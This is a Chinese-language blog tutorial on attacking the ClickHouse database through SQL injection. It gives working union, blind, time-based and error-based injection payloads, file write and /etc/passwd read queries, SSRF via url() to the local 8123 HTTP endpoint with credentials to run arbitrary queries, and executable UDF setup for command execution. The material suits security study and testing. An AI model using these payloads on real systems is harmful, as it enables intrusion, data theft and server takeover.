1.环境搭建
最近本来在研究ASP.NET安全问题,今天突然看到群友在研究ClickHouse数据库,最近几天也经常看到一些实战中关于ClickHouse数据库相关的案例。发现挺好玩的。于是本地搭了个环境测试一下。安装ClickHouse可以使用如下命令:
sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754
echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee /etc/apt/sources.list.d/clickhouse.list
sudo apt-get update
sudo apt-get install -y clickhouse-server clickhouse-client
sudo service clickhouse-server start
clickhouse-client # or "clickhouse-client --password" if you've set up a password
在安装过程中,可以看到第一个和安全有关的点,那就是ClickHouse密码保存的文件:
可以用CMD5查:
如果上述环境配置好了,那么连接ClickHouse可以看到一个笑脸
2.一些基本的信息以及SQL注入查询信息的查询链
介绍一些获取数据库基本信息的语句。
currentDatabase() //获取当前的数据库名
SELECT name FROM system.databases; //获取所有库名
SELECT name FROM system.tables; //获取所有表名
SELECT name FROM system.tables where database=’database_name’;
//通过约束database名查询指定库中的所有表名
这里可以看到我在default库下自建的test表
SELECT name, type FROM system.columns WHERE table = 'table_name' AND database = 'database_name'; //约束表名和库名,查询指定表中所有字段类型
可以查询到表中的字段名和字段的类型。
SELECT user(); //查看当前用户
大概的流程就是这样。此外,ClickHouse中也提供了information_schema表,熟悉Mysql的童鞋马上能熟练用这玩意查询各种信息
SELECT table_name FROM information_schema.tables WHERE table_schema = 'default';
SELECT column_name FROM information_schema.columns WHERE table_schema = 'default' AND table_name = 'test';
总结一下这玩意的查询链,简单来说,可以直接套用mysql那边的一些关键的系统表和字段名去查询各种数据。也可以借助其system表。system.databases中保存了所有库的详细信息,system.tables中保存了所有表的详细信息,system.columns中保存了所有字段的详细信息。
3.关于ClickHouse SQL注入的判断
此外,还有几种报错样式如下:
这就引出ClickHouse里面一个常见的注入判断情况。也即注入点发生于order by后的时候,可以尝试输入下面两组测试数据
?order=desc,1
?order=desc,x
如果前者返回正常而后者返回不正常,则可能存在注入点。也可以不用desc, 直接传入1和x,观察两种情况下结果的差异。
此外这里有一个必须说明的坑点,在ClickHouse中,当触发数据库报错时,部分报错信息会被放在(‘’)中回显出来,尤其是当单引号未闭合时。在上面的演示中,就可以注意到这种情况:
这在实际的测试中,很容易被我们误判为原语句中存在(‘’)字符需要我们去闭合,最后操作半天发现怎么都闭合不了。因为原语句实际上就不存在(‘’),在我靶场实战的时候就被这个点坑麻了,师傅们实战中可以注意一下。
4.ClickHouse联合注入
ClickHouse的联合注入反倒不类似mysql,更像SQL Server或oracle。首先一点就在于,UNION连接的两个表,其字段数和每个字段的类型都必须一一对应。比方说我的test表,第一个id字段的类型是int型,其他都是string型,一共五个字段,那么必须得写成:
UNION ALL SELECT 1,'2','3','4','5'
如果字段类型没有一一对应,则报错类似如下:
如果少了ALL,也会出错:
总之,我们可以通过联合查询实现注入:
UNION ALL SELECT 1,(SELECT user()),'3','4','5'
5.ClickHouse布尔盲注
要实现丝滑的布尔盲注,无外乎三个要点。第一个就是数据库支持类似if这样的语法,第二个如果有mid()、left()等字符串截取函数就更好,第三个是原语句必须有能形成布尔判断的因素。
恰好ClickHouse里都有这些因素,ClickHouse中有if()函数,其用法为:
SELECT if(cond, then, else)
如果条件 cond 的计算结果为非零值,则返回表达式 then 的结果,并且跳过表达式 else 的结果(如果存在)。如果 cond 为零或 NULL,则将跳过 then 表达式的结果,并返回 else 表达式的结果(如果存在)
select * from test where id=1 order by hex(if(mid((select user()),1,1)='d','a','z'))=61
此时正常
select * from test where id=1 order by hex(if(mid((select user()),1,1)='c','a','z'))=61
此时异常。
此外,由于ClickHouse支持三目运算符,而三目运算又能起到if else的效果,因此还可以利用三目运算去实现攻击。比方说(1=1?1:1)效果和if(1,1,1)类似
此外根据引用文章中提到的特性,Clickhouse中,toInt64(if(1=1,1,exp(71000)))时为true,toInt64(if(1=2,1,exp(71000)))时为false,因此我们可以用toInt64(if(1=1,1,exp(71000)))去进行快速的sql注入证明
此外,其他数据库广泛支持的select case when(expr1) then result1 else result2 end语句,在ClickHouse里也仍然支持。
因此,在ClickHouse中还是有多种方法去进行布尔盲注的,很多函数也基本上都是mysql里有的,依葫芦画瓢即可。
6.ClickHouse时间盲注
布尔盲注加上一点点延时因素,就能构成时间盲注。恰好clickhouse也支持sleep()函数:
此外尤其要注意一个坑点,那就是ClickHouse的sleep时间不能超过3秒,否则报错:
还有一个可供替换的函数是sleepEachRow()
还有一种有趣的延时因素如下:
if(1=2,1,(SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000)))
可以造成约8秒的时延,看原理也是去处理超大的测试数据造成延迟
当然经过文档查阅,ClickHouse也是有笛卡尔积的操作的,理论上也可以构造基于笛卡尔积的时间盲注
不过,由于ClickHouse是主打大数据处理的数据库,我不确定到底要多大的数据量才能让ClcikHouse产生显著的延迟,由于手里没那么多测试数据,这里也不去测试了。可以参考上面那个fuzzBits相关技巧的数据量。
7.ClickHouse报错注入
一聊到注入,报错注入总是绕不开的一环。ClickHouse中可以通过CAST()去造成报错,很多数据库都有类似的问题,用CAST进行类型转换为string,然后用这个string结果与数字进行比较,就可以将string的结果在报错信息中输出:
select * from test where id=1 order by 1=(char(126)||char(126)||CAST((SELECT name from system.databases limit 1 OFFSET 1) AS String)||char(126)||char(126))
基于此原理,我又找到一些报错函数,比如toString()
类似地还有toJSONString函数、concat函数等等。就不再截图了
8.ClickHouse堆叠注入
网上查了一些资料,说ClickHouse JDBC驱动提供的默认查询方法是支持堆叠查询的,我简陋的测试linux还没有配置JAVA环境,这里就不演示了。还是利用分号分割语句去进行堆叠注入。
不过,其实后文我们会介绍一个姿势,利用SSRF请求ClickHouse相关的一个WEB端点,去实现堆叠注入的效果。
9.ClickHouse深入利用之写文件
也是来到了数据库深入利用相关的环节,ClickHouse和Mysql一样,可以使用INTO OUTFILE将查询结果写入到指定文件中:
select 'test' INTO OUTFILE '../../../../../testaaa.txt'
经过测试,在默认配置下,该功能是可以往任意目录下写文件的,比mysql舒服的多。
10.ClickHouse深入利用之读文件
同样地,ClickHouse也有读文件的操作,有几种操作。第一种是使用file函数,但是似乎不能跨目录,只能读配置文件相关目录的文件
此外,还有一种操作是通过INFILE进行读取,方法如下。先创建一个用于存放数据的表:
CREATE TABLE images(data String) Engine = Memory;
然后运行:
INSERT INTO images FROM INFILE '../../../../../../../../etc/passwd' FORMAT RawBLOB;
//从passwd文件中读取数据并写入images表
然后读取images表,即可获取文件数据:
select * from images
11.使用ClickHouse的s3和url函数造成SSRF以及把任意注入点转化为堆叠注入点
一个可回显的SSRF
select * from url(‘https://www.baidu.com', CSV, 'column1 String, column2 UInt32’)
可以看到用CSV模式读的东西还是有缺陷
如果使用TSV、TabSeparated,则可以得到全回显
select * from url('https://www.baidu.com', TSV, 'column1 String')
select * from url('https://www.baidu.com', TabSeparated, 'column1 String')
这个url是最通用的造成SSRF的函数,此外还有一个s3函数,也是可以造成SSRF,不过我实测这个可能只能访问一些s3的url
s3('https://www.baidu.com',RawBLOB)
SELECT * FROM s3('https://datasets-documentation.s3.eu-west-3.amazonaws.com/aapl_stock.csv','CSVWithNames’) LIMIT 5;
访问百度报错了
这种场景可能只能在亚马逊云场景下派上用场。参考文章里还放上了几个绕过payload:
SELECT * from `url\\\\\\\\x23`(‘https://www.baidu.com',TSV,'column1 String’)
(select/*//**/1,*,1/**/from/*//**/url('https://www.baidu.com',CSV,'column1 String') ) as a
总之,在云场景下的实战环境中,可以用这个姿势去读取元数据。
接着重点来了。关于这个SSRF,还有个很好玩的点。假设我们找到了一个ClickHouse的非堆叠注入,实际上可以通过这个点去获取一个相当于堆叠注入的点。借助参考文章提到的信息。先通过查询system.clusters表获取数据库集群的ip信息,而clickouse默认会使用一个组件导致会开启8123或者8124端口,而这一组件实际上相当于数据库命令行(开放在web服务上的),当我们有一个GET型SSRF点,就可以在其8123端口上以类似命令行的模式执行任何SQL语句。这就可以实现堆叠的效果!非常舒服
此外参考文章里有个小错误,那就是
guery实际上应该是query
如果目标使用的clickHouse没有设置密码,那么使用如下语句就可以直接执行想要的语句了:
SELECT * from url('http://127.0.0.1:8123?query=show%20tables',TSV,'column1 String')
//注意url编码
但如果目标设置了密码,则会出现如下错误:
现在假设我们还有一个任意文件读取漏洞配合,知道了密码的情况下,又该怎么利用呢?答案是使用如下语句:
SELECT * FROM url('http://default:my_password@127.0.0.1:8123/?query=show%20tables', TSV, 'column1 String')
例如:
SELECT * FROM url('http://default:Testme123@127.0.0.1:8123/?query=show%20tables', TSV, 'column1 String')
//默认用户就是default
此时,成功执行show tables
这个操作的价值很大,假设我们现在有一个联合注入,我们要如何将其转化为一个高权限的堆叠注入呢?
SELECT * FROM test where id=1 order by 1 UNION ALL SELECT 1,(SELECT * FROM url('http://default:Testme123@127.0.0.1:8123/?query=show%20tables', TSV, 'column1 String')),'3','4','5'
简单易懂,这样,我们就可以把任意一个注入点,转化为实际上的高权限堆叠注入点,可以执行任意ClickHouse语句。当然,前提是这个ClickHouse没有密码,或者你通过某种方式拿到了它的密码。
在上述情况下就可以执行很多BT操作了,比方说我们前面提到的写SHELL
12.ClickHouse UDF提权
没错,这玩意也支持从外部导入自定义函数,不过,它的这个操作实际上比Mysql还要容易,我们参考ClickHouse的文档:
https://clickhouse.com/docs/en/sql-reference/functions/udf
而且它不止可以调用python脚本,实际上,其<command>标签内可以进行系统命令拼接,似乎可以直接执行系统命令:
不过我实测尝试命令拼接的时候好像出了点问题,就先不献丑了。
那么我们要怎么搞呢?简单来说,我们需要创建一个 *_function.xml文件,并且放在/clickhouse-server/目录下。这个xml文件里完成我们要自定义函数的一些配置,然后我们要把想执行的python脚本放在/var/lib/clickhouse/user_scripts/目录下,然后我们需要在ClickHouse命令行中重新加载function,然后就可以调用我们自定义的命令。
以官网demo为例。准备test_function.xml文件如下:
<functions>
<function>
<type>executable</type>
<name>test_function_python</name>
<return_type>String</return_type>
<argument>
<type>UInt64</type>
<name>value</name>
</argument>
<format>TabSeparated</format>
<command>test_function.py</command>
</function>
</functions>
其中test_function_python代表最后导入的函数名,argument中的键值对的含义是传入python脚本中的参数名,command标签则是要执行的python脚本。
我们将该配置文件上传至/etc/clickhouse-server/test_function.xml
然后准备python脚本如下:
#!/usr/bin/python3
import sys
if __name__ == '__main__':
for line in sys.stdin:
print("Value " + line, end='')
sys.stdout.flush()
命名为test_function.py,上传至/var/lib/clickhouse/user_scripts/目录下
都完成之后,执行
SYSTEM RELOAD FUNCTIONS; //重新加载方法
执行如下语句查询test_function_python函数是否导入成功:
SELECT * FROM system.functions WHERE name = 'test_function_python';
若类似下图的结果,则说明成功
然后调用该函数,即可看到这样的结果:
要改成执行系统命令的脚本应该也ez,调一下subprocess.run()应该就行了,这里就不写了。
13.ClickHouse JDBC相关安全问题
既然是数据库,那肯定也要看看有没有JDBC相关的问题,本来想自己捣鼓一下的,但是查了一波发现早就有人挖过了,那我就直接开摆了,相关文章的链接如下:
https://xz.aliyun.com/t/14443
14.结语
关于ClickHouse数据库的注入,还是非常有意思的,它有点像我们的老朋友mysql,但又不完全一样,有很多自己独特的打法。随着大数据应用越来越广泛,在实战中遇见这款数据库的可能性也会越来越大,值得一学。
部分参考:
https://mp.weixin.qq.com/s/XL7LoAH7YFxCC2hS3U96sQ
https://xz.aliyun.com/t/14443